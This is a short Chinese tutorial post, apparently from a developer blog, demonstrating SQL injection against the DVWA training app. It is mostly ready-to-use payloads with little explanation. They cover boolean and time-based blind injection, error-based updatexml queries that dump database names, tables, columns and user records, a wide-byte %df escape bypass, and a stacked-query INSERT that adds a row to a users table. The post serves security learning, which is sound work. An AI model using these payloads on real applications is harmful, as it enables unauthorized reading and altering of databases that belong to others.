sql注入演示

1.盲注入

获取第一个字母的ASCII码值大于99,为真:
1' and ascii(substr(database(),1,1))>99 -- -

 【案例】获取第一个字母的ASCII码值小于101,为真:
1' and ascii(substr(database(),1,1))<101 -- -

推出该数据库的第一个字母的ACSII码值为100,即字母"d"。

2.基于时间的盲注

1 and sleep(5)

1' and sleep(5) -- -

3. 报错函数注入

爆出数据库名:1' and updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -

爆出dvwa库下的表:1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='dvwa' ),0x5e),1) -- -

爆出users表中的字段:1' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' ),0x5e),1) -- -

 爆出users表中的first_name,last_name的内容:1' and updatexml(1,concat(0x5e,(select group_concat(first_name,0x3e,last_name) from users),0x5e),1) -- -

4.宽字节注入

在注入点输入(')会被转义为(\'),加入%df :

 

?id=1%df' order by 3 -- -

5.堆叠注入 

使用堆叠注入添加数据:?id=1';insert into users values(66,'aiyou','bucuo') --+

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值